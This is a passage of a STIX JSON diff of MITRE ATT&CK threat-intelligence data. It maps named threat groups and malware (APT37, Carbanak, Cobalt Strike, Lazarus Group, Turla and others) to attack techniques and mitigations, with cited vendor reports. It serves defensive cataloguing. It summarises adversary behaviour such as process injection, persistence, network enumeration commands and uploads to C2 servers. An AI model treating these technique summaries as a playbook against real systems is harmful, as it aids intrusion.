2016.", + "source_name": "Citizen Lab Group5", + "url": "https://citizenlab.ca/2016/08/group5-syria/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--43e7dc91-05b2-474c-b9ac-2ed4fe101f4d", + "description": "[APT37](https://attack.mitre.org/groups/G0067) injects its malware variant, [ROKRAT](https://attack.mitre.org/software/S0240), into the cmd.exe process.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--86f8bebc-a5fc-43d7-9af0-0024e07ca8d1", + "source_ref": "intrusion-set--4a2ce82e-1a74-468a-a6fb-bbead541383c", + "modified": "2019-09-09T19:12:32.643Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Talos Group123", + "description": "Mercer, W., Rascagneres, P. (2018, January 16). Korea In The Crosshairs. Retrieved May 21, 2018.", + "url": "https://blog.talosintelligence.com/2018/01/korea-in-crosshairs.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--9422fc14-1c43-410d-ab0f-a709b76c72dc", + "description": "[Carbanak](https://attack.mitre.org/software/S0030) stores a configuration files in the startup directory to automatically execute commands in order to persist across reboots.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--9c12e724-5f3e-4209-961e-481ec22a5ab6", + "source_ref": "malware--72f54d66-675d-4587-9bd3-4ed09f9522e4", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Bennett, J., Vengerik, B. (2017, June 12). Behind the CARBANAK Backdoor. Retrieved June 11, 2018.", + "source_name": "FireEye CARBANAK June 2017", + "url": "https://www.fireeye.com/blog/threat-research/2017/06/behind-the-carbanak-backdoor.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--3489cfc5-640f-4bb3-a103-9137b97de79f", + "description": "[Koadic](https://attack.mitre.org/software/S0250) can scan local network for open SMB.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--f25505f6-dbd0-4d7b-8e8c-b3885f206cbf", + "source_ref": "tool--c8655260-9f4b-44e3-85e1-6538a5f6e4f4", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Magius, J., et al. (2017, July 19). Koadic. Retrieved June 18, 2018.", + "source_name": "Github Koadic", + "url": "https://github.com/zerosum0x0/koadic" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--0259baeb-9f63-4c69-bf10-eb038c390688", + "description": "[POWERSTATS](https://attack.mitre.org/software/S0223) can retrieve screenshots from compromised hosts.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18T17:59:24.739Z", + "id": "relationship--e93c8f61-b2c9-4877-8c2c-12bd37aa5a87", + "source_ref": "malware--e8545794-b98c-492b-a5b3-4b5a02682e37", + "modified": "2019-04-22T22:36:52.990Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "FireEye MuddyWater Mar 2018", + "description": "Singh, S. et al.. (2018, March 13). Iranian Threat Group Updates Tactics, Techniques and Procedures in Spear Phishing Campaign. Retrieved April 11, 2018.", + "url": "https://www.fireeye.com/blog/threat-research/2018/03/iranian-threat-group-updates-ttps-in-spear-phishing-campaign.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--ffe742ed-9100-4686-9e00-c331da544787", + "description": "[Cobalt Strike](https://attack.mitre.org/software/S0154) can use Window admin shares (C$ and ADMIN$) for lateral movement.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-01-16T16:13:52.465Z", + "id": "relationship--dac7355a-9d13-4155-a053-d0c18fe92f53", + "source_ref": "tool--aafea02e-ece5-4bb2-91a6-3bf8c7f38a39", + "modified": "2019-06-06T19:04:39.331Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Cobalt Strike TTPs Dec 2017", + "description": "Cobalt Strike. (2017, December 8). Tactics, Techniques, and Procedures. Retrieved December 20, 2017.", + "url": "https://www.cobaltstrike.com/downloads/reports/tacticstechniquesandprocedures.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a", + "description": "[Kwampirs](https://attack.mitre.org/software/S0236) downloads additional files that are base64-encoded and encrypted with another cipher.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--5550ef5e-a34c-4055-b7be-dd41d76ef7b1", + "source_ref": "malware--c2417bab-3189-4d4d-9d60-96de2cdaf0ab", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Moench, B. and Aboud, E. (2016, August 23). Trojan.Kwampirs. Retrieved May 10, 2018.", + "source_name": "Symantec Security Center Trojan.Kwampirs", + "url": "https://www.symantec.com/security-center/writeup/2016-081923-2700-99" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "malware--083bb47b-02c8-4423-81a2-f9ef58572974", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:33:27.070Z", + "id": "relationship--d4968f45-d06b-4843-8f72-6e08beb94cab", + "source_ref": "intrusion-set--1c63d4ec-0a75-4daa-b1df-0d11af3d3cc1", + "modified": "2019-03-22T20:11:04.791Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Symantec Dragonfly", + "description": "Symantec Security Response. (2014, July 7). Dragonfly: Cyberespionage Attacks Against Energy Suppliers. Retrieved April 8, 2016.", + "url": "http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/Dragonfly_Threat_Against_Western_Energy_Suppliers.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--30973a08-aed9-4edf-8604-9084ce1b5c4f", + "description": "[MacSpy](https://attack.mitre.org/software/S0282) can steal clipboard contents.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--5a2b7013-a110-4a07-acf6-66a7f159954d", + "source_ref": "malware--f72251cb-2be5-421f-a081-99c29a1209e7", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Patrick Wardle. (n.d.). Mac Malware of 2017. Retrieved September 21, 2018.", + "source_name": "objsee mac malware 2017", + "url": "https://objective-see.com/blog/blog_0x25.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--e358d692-23c0-4a31-9eb6-ecc13a8d7735", + "description": "[Turla](https://attack.mitre.org/groups/G0010) surveys a system upon check-in to discover remote systems on a local network using the net view and net view /DOMAIN commands.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:33:27.045Z", + "id": "relationship--b8a1739d-240b-46c1-a25a-b82d1c4e4765", + "source_ref": "intrusion-set--7a19ecb1-3c65-4de3-a230-993516aed6a6", + "modified": "2019-07-14T21:04:44.998Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Kaspersky Turla", + "description": "Kaspersky Lab's Global Research and Analysis Team. (2014, August 7). The Epic Turla Operation: Solving some of the mysteries of Snake/Uroburos. Retrieved December 11, 2014.", + "url": "https://securelist.com/the-epic-turla-operation/65545/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--30208d3e-0d6b-43c8-883e-44462a514619", + "description": "[Comnie](https://attack.mitre.org/software/S0244) executes a batch script to store discovery information in %TEMP%\\info.dat and then uploads the temporarily file to the remote C2 server.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--228e71e2-0e76-4020-a850-7a568412259b", + "source_ref": "malware--f4c80d39-ce10-4f74-9b50-a7e3f5df1f2e", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Grunzweig, J. (2018, January 31). Comnie Continues to Target Organizations in East Asia. Retrieved June 7, 2018.", + "source_name": "Palo Alto Comnie", + "url": "https://researchcenter.paloaltonetworks.com/2018/01/unit42-comnie-continues-target-organizations-east-asia/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--9422fc14-1c43-410d-ab0f-a709b76c72dc", + "description": "[SHIPSHAPE](https://attack.mitre.org/software/S0028) achieves persistence by creating a shortcut in the Startup folder.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--093215eb-4edb-4c55-bb5f-b8ca2de7962c", + "source_ref": "malware--b1de6916-7a22-4460-8d26-6b5483ffaa2a", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "FireEye Labs. (2015, April). APT30 AND THE MECHANICS OF A LONG-RUNNING CYBER ESPIONAGE OPERATION. Retrieved May 1, 2015.", + "source_name": "FireEye APT30", + "url": "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--c21d5a77-d422-4a69-acd7-2c53c1faa34b", + "description": "[PHOREAL](https://attack.mitre.org/software/S0158) communicates via ICMP for C2.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--fce7fac2-91da-4903-95dc-fb54650c0859", + "source_ref": "malware--f6ae7a52-f3b6-4525-9daf-640c083f006e", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Carr, N.. (2017, May 14). Cyber Espionage is Alive and Well: APT32 and the Threat to Global Corporations. Retrieved June 18, 2017.", + "source_name": "FireEye APT32 May 2017", + "url": "https://www.fireeye.com/blog/threat-research/2017/05/cyber-espionage-apt32.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--b9f5dbe2-4c55-4fc5-af2e-d42c1d182ec4", + "description": "[Threat Group-3390](https://attack.mitre.org/groups/G0027) has used RAR to compress, encrypt, and password-protect files prior to exfiltration.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:33:27.061Z", + "id": "relationship--a73f9ed3-7f51-4709-a63f-f5ef59aa25cf", + "source_ref": "intrusion-set--fb366179-766c-4a4a-afa1-52bff1fd601c", + "modified": "2019-07-14T21:15:55.116Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "SecureWorks BRONZE UNION June 2017", + "description": "Counter Threat Unit Research Team. (2017, June 27). BRONZE UNION Cyberespionage Persists Despite Disclosures. Retrieved July 13, 2017.", + "url": "https://www.secureworks.com/research/bronze-union" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add", + "description": "[DustySky](https://attack.mitre.org/software/S0062) searches for network drives and removable media and duplicates itself onto them.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--ad5f49b0-8b92-43d1-99f3-c691ccb7a8ac", + "source_ref": "malware--687c23e4-4e25-4ee7-a870-c5e002511f54", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "ClearSky. (2016, January 7). Operation DustySky. Retrieved January 8, 2016.", + "source_name": "DustySky", + "url": "https://www.clearskysec.com/wp-content/uploads/2016/01/Operation%20DustySky_TLP_WHITE.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--f4882e23-8aa7-4b12-b28a-b349c12ee9e0", + "description": "[Patchwork](https://attack.mitre.org/groups/G0040) used [PowerSploit](https://attack.mitre.org/software/S0194) to download payloads, run a reverse shell, and execute malware on the victim's machine.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:33:27.075Z", + "id": "relationship--d6e43621-ca4a-475f-b81c-037a0878728b", + "source_ref": "intrusion-set--17862c7d-9e60-48a0-b48e-da4dc4c3f6b0", + "modified": "2019-07-11T13:53:05.885Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Cymmetria. (2016). Unveiling Patchwork - The Copy-Paste APT. Retrieved August 3, 2016.", + "source_name": "Cymmetria Patchwork", + "url": "https://s3-us-west-2.amazonaws.com/cymmetria-blog/public/Unveiling_Patchwork.pdf" + }, + { + "source_name": "TrendMicro Patchwork Dec 2017", + "description": "Lunghi, D., et al. (2017, December). Untangling the Patchwork Cyberespionage Group. Retrieved July 10, 2018.", + "url": "https://documents.trendmicro.com/assets/tech-brief-untangling-the-patchwork-cyberespionage-group.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--4061e78c-1284-44b4-9116-73e4ac3912f7", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18T17:59:24.739Z", + "id": "relationship--5ff5c840-7064-4d5d-bfbc-0287efd4dd39", + "source_ref": "course-of-action--af093bc8-7b59-4e2a-9da8-8e839b4c50c6", + "modified": "2019-07-25T11:32:44.912Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--0259baeb-9f63-4c69-bf10-eb038c390688", + "description": "[Dragonfly 2.0](https://attack.mitre.org/groups/G0074) has performed screen captures of victims, including by using a tool, scr.exe (which matched the hash of ScreenUtil).", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--d1adaa26-90e3-4a7f-af07-577b3003be4c", + "source_ref": "intrusion-set--76d59913-1d24-4992-a8ac-05a3eb093f71", + "modified": "2019-03-22T20:13:49.518Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "US-CERT. (2018, March 16). Alert (TA18-074A): Russian Government Cyber Activity Targeting Energy and Other Critical Infrastructure Sectors. Retrieved June 6, 2018.", + "source_name": "US-CERT TA18-074A", + "url": "https://www.us-cert.gov/ncas/alerts/TA18-074A" + }, + { + "description": "Symantec Security Response. (2017, September 6). Dragonfly: Western energy sector targeted by sophisticated attack group. Retrieved September 9, 2017.", + "source_name": "Symantec Dragonfly Sept 2017", + "url": "https://www.symantec.com/connect/blogs/dragonfly-western-energy-sector-targeted-sophisticated-attack-group" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--6e6845c2-347a-4a6f-a2d1-b74a18ebd352", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-01-16T16:13:52.465Z", + "id": "relationship--bdd223c2-8d3a-4c99-b261-402b7daaace5", + "source_ref": "course-of-action--7a6e5ca3-562f-4185-a323-f3b62b5b2e6b", + "modified": "2019-07-24T19:47:24.156Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--e358d692-23c0-4a31-9eb6-ecc13a8d7735", + "description": "[BRONZE BUTLER](https://attack.mitre.org/groups/G0060) typically use ping and [Net](https://attack.mitre.org/software/S0039) to enumerate systems.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-01-16T16:13:52.465Z", + "id": "relationship--95805281-96b1-49ea-95ee-9d654178c5c3", + "source_ref": "intrusion-set--93f52415-0fe4-4d3d-896c-fc9b8e88ab90", + "modified": "2019-03-22T19:57:37.261Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Secureworks BRONZE BUTLER Oct 2017", + "description": "Counter Threat Unit Research Team. (2017, October 12). BRONZE BUTLER Targets Japanese Enterprises. Retrieved January 4, 2018.", + "url": "https://www.secureworks.com/research/bronze-butler-targets-japanese-businesses" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "malware--414dc555-c79e-4b24-a2da-9b607f7eaf16", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18T17:59:24.739Z", + "id": "relationship--25e301f8-0bb7-4769-94be-ac96b2319c85", + "source_ref": "intrusion-set--4a2ce82e-1a74-468a-a6fb-bbead541383c", + "modified": "2019-09-09T19:12:32.911Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "FireEye. (2018, February 20). APT37 (Reaper): The Overlooked North Korean Actor. Retrieved March 1, 2018.", + "source_name": "FireEye APT37 Feb 2018", + "url": "https://www2.fireeye.com/rs/848-DID-242/images/rpt_APT37.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--3c4a2599-71ee-4405-ba1e-0e28414b4bc5", + "description": "[Lazarus Group](https://attack.mitre.org/groups/G0032) malware IndiaIndia saves information gathered about the victim to a file that is uploaded to one of its 10 C2 servers. [Lazarus Group](https://attack.mitre.org/groups/G0032) malware RomeoDelta copies specified directories from the victim's machine, then archives and encrypts the directories before uploading to its C2 server.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:33:27.069Z", + "id": "relationship--3fe9b64a-6435-4592-9181-2ad50ee93044", + "source_ref": "intrusion-set--c93fccb1-e8e8-42cf-ae33-2ad1d183913a", + "modified": "2019-09-09T19:15:45.220Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Novetta Blockbuster", + "description": "Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Unraveling the Long Thread of the Sony Attack. Retrieved February 25, 2016.", + "url": "https://www.operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Report.pdf" + }, + { + "source_name": "Novetta Blockbuster Loaders", + "description": "Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Loaders, Installers and Uninstallers Report. Retrieved March 2, 2016.", + "url": "https://operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Loaders-Installers-and-Uninstallers-Report.pdf" + }, + { + "source_name": "Novetta Blockbuster RATs", + "description": "Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Remote Administration Tools & Content Staging Malware Report. Retrieved March 16, 2016.", + "url": "https://www.operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-RAT-and-Staging-Report.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "malware--9ca488bd-9587-48ef-b923-1743523e63b2", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--55f58d30-b633-4094-97bb-6ab872c0f480", + "source_ref": "intrusion-set--247cb30b-955f-42eb-97a5-a89fef69341e", + "modified": "2019-07-17T13:11:38.975Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "FireEye APT32 May 2017", + "description": "Carr, N.. (2017, May 14). Cyber Espionage is Alive and Well: APT32 and the Threat to Global Corporations. Retrieved June 18, 2017.", + "url": "https://www.fireeye.com/blog/threat-research/2017/05/cyber-espionage-apt32.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--9422fc14-1c43-410d-ab0f-a709b76c72dc", + "description": "Variants of [Emissary](https://attack.mitre.org/software/S0082) have added Run Registry keys to establish persistence.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--0040fdbd-ec7e-49b3-b715-c8c91e08666b", + "source_ref": "malware--0f862b01-99da-47cc-9bdb-db4a86a95bb1", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Falcone, R. and Miller-Osborn, J.. (2016, February 3). Emissary Trojan Changelog: Did Operation Lotus Blossom Cause It to Evolve?. Retrieved February 15, 2016.", + "source_name": "Emissary Trojan Feb 2016", + "url": "http://researchcenter.paloaltonetworks.com/2016/02/emissary-trojan-changelog-did-operation-lotus-blossom-cause-it-to-evolve/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--355be19c-ffc9-46d5-8d50-d6a036c675b6", + "description": "[MacSpy](https://attack.mitre.org/software/S0282) uses HTTP for command and control.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--11f12767-22ca-4f4a-a911-8211dc8ac478", + "source_ref": "malware--f72251cb-2be5-421f-a081-99c29a1209e7", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Patrick Wardle. (n.d.). Mac Malware of 2017. Retrieved September 21, 2018.", + "source_name": "objsee mac malware 2017", + "url": "https://objective-see.com/blog/blog_0x25.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--bb5a00de-e086-4859-a231-fa793f6797e2", + "description": "[OilRig](https://attack.mitre.org/groups/G0049) has used keylogging tools called KEYPUNCH and LONGWATCH.\t\n", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--a8d7e4da-53d8-45c2-8c87-70424d96a949", + "source_ref": "intrusion-set--4ca1929c-7d64-4aab-b849-badbfc0c760d", + "modified": "2019-09-04T22:55:41.149Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "FireEye APT34 Webinar Dec 2017", + "description": "Davis, S. and Caban, D. (2017, December 19). APT34 - New Targeted Attack in the Middle East. Retrieved December 20, 2017.", + "url": "https://www.brighttalk.com/webcast/10703/296317/apt34-new-targeted-attack-in-the-middle-east" + }, + { + "source_name": "FireEye APT34 July 2019", + "description": "Bromiley, M., et al.. (2019, July 18). Hard Pass: Declining APT34\u2019s Invite to Join Their Professional Network. Retrieved August 26, 2019.", + "url": "https://www.fireeye.com/blog/threat-research/2019/07/hard-pass-declining-apt34-invite-to-join-their-professional-network.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "malware--49abab73-3c5c-476e-afd5-69b5c732d845", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18T17:59:24.739Z", + "id": "relationship--fdf161e2-46dc-41ee-bec4-9b18c8b1e6d9", + "source_ref": "intrusion-set--4a2ce82e-1a74-468a-a6fb-bbead541383c", + "modified": "2019-09-09T19:12:32.900Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "FireEye. (2018, February 20). APT37 (Reaper): The Overlooked North Korean Actor. Retrieved March 1, 2018.", + "source_name": "FireEye APT37 Feb 2018", + "url": "https://www2.fireeye.com/rs/848-DID-242/images/rpt_APT37.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--0259baeb-9f63-4c69-bf10-eb038c390688", + "description": "[Pteranodon](https://attack.mitre.org/software/S0147) can capture screenshots at a configurable interval.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--0471088d-7b45-4fec-8946-ae5bf463286b", + "source_ref": "malware--5f9f7648-04ba-4a9f-bb4c-2a13e74572bd", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Kasza, A. and Reichel, D.. (2017, February 27). The Gamaredon Group Toolset Evolution. Retrieved March 1, 2017.", + "source_name": "Palo Alto Gamaredon Feb 2017", + "url": "https://researchcenter.paloaltonetworks.com/2017/02/unit-42-title-gamaredon-group-toolset-evolution/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "malware--2dd34b01-6110-4aac-835d-b5e7b936b0be", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:33:27.041Z", + "id": "relationship--bceada36-e6ba-49b9-b9f8-99e37e6cbf9e", + "source_ref": "intrusion-set--bef4c620-0787-42a8-a96d-b7eb6e85917c", + "modified": "2019-09-09T17:44:36.180Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "FireEye. (2015). APT28: A WINDOW INTO RUSSIA\u2019S CYBER ESPIONAGE OPERATIONS?. Retrieved August 19, 2015.", + "source_name": "FireEye APT28", + "url": "https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/rpt-apt28.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--b21c3b2d-02e6-45b1-980b-e69051040839", + "description": "[CosmicDuke](https://attack.mitre.org/software/S0050) attempts to exploit privilege escalation vulnerabilities CVE-2010-0232 or CVE-2010-4398.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--63f0007e-833e-4d6a-b79e-873525979f40", + "source_ref": "malware--2eb9b131-d333-4a48-9eb4-d8dec46c19ee", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "F-Secure Labs. (2015, September 17). The Dukes: 7 years of Russian cyberespionage. Retrieved December 10, 2015.", + "source_name": "F-Secure The Dukes", + "url": "https://www.f-secure.com/documents/996508/1030745/dukes_whitepaper.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--f879d51c-5476-431c-aedf-f14d207e4d1e", + "description": "[Calisto](https://attack.mitre.org/software/S0274) attempted to contact the C2 server over TCP using port 80.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--53c60706-1faf-401a-8c65-7753b04cec02", + "source_ref": "malware--b8fdef82-d2cf-4948-8949-6466357b1be1", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Kuzin, M., Zelensky S. (2018, July 20). Calisto Trojan for macOS. Retrieved September 7, 2018.", + "source_name": "Securelist Calisto July 2018", + "url": "https://securelist.com/calisto-trojan-for-macos/86543/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--6ff403bc-93e3-48be-8687-e102fdba8c88", + "description": "A version of [Daserf](https://attack.mitre.org/software/S0187) uses the MPRESS packer.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-01-16T16:13:52.465Z", + "id": "relationship--2f507d82-1df4-4c9c-804a-2e6060944142", + "source_ref": "malware--b6b3dfc7-9a81-43ff-ac04-698bad48973a", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Chen, J. and Hsieh, M. (2017, November 7). REDBALDKNIGHT/BRONZE BUTLER\u2019s Daserf Backdoor Now Using Steganography. Retrieved December 27, 2017.", + "source_name": "Trend Micro Daserf Nov 